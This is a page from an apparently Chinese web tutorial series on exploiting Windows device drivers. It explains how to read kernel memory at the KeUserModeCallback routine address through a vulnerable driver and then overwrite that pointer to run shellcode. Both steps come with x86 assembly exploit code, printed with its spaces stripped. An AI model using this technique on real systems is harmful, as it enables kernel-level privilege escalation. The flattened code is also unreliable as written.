WEB开发网
开发学院网络安全安全技术 详解如何利用Windows设备驱动 阅读

详解如何利用Windows设备驱动

 2009-02-12 13:55:33 来源:WEB开发网   
核心提示: 关键点3:发送一个信号,从KeUserModeCallback_Routine 地址处获得512 bytes当我们使用一些代码覆盖512 bytes 的内核空间时,详解如何利用Windows设备驱动(8),我们有很大可能会导致机器崩溃,为了避免这种情况,我们会使用一些狡猾的方法:发送一个包

关键点3:发送一个信号,从KeUserModeCallback_Routine 地址处获得512 bytes

当我们使用一些代码覆盖512 bytes 的内核空间时,我们有很大可能会导致机器崩溃。

为了避免这种情况,我们会使用一些狡猾的方法:发送一个包含我们可以从原始ntoskrnl 数据中获得的lpInputBuffer 结构信号,就像下面的exploit 代码中演示的那样:

   D_PACKETstruct;littlevulnerabledriver
  dp_destdd0;signalstruct
  dp_srcdd0
  D_PACKETends
  ;firstsignalcopiesoriginalbytestothebuffer
  moveax,dwordptr[KeUserModeCallback_Routine]
  movdwordptr[routine_addr],eax
  mov[edi.D_PACKET.dp_src],eax;eax=source
  mov[edi.D_PACKET.dp_dest],edi;edi=dest(allocatedmem)
  add[edi.D_PACKET.dp_dest],8;edi+=sizeof(D_PACKET)
  movecx,512;sizeofinputbuffer
  calltalk2device;sendthesignal!!!
  ;codewillbestoredatedi+8

关键点4:覆盖KeUserModeCallback_Routine

关键是如何执行我们的shellcode。通常我们使用与上次信号交换值的方法实现,而且仅需要改变第一次读取数据的前四个字节。

   ;maketheoldKeUserModeCallback_Routinepointtoourshellcode
  ;andexchangethesourcepacketwithdestinationpacket
  mov[edi+8],edi;overwritetheoldroutine
  add[edi+8],512+8;makeitpointtoourshellc.
  moveax,[edi.D_PACKET.dp_src]
  movedx,[edi.D_PACKET.dp_dest]
  mov[edi.D_PACKET.dp_src],edx;fillthepacketstructure
  mov[edi.D_PACKET.dp_dest],eax
  movecx,MY_ADDRESS_SIZE
  calltalk2device;dothemagicthing!

上一页  3 4 5 6 7 8 9 10  下一页

Tags:详解 如何 利用

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接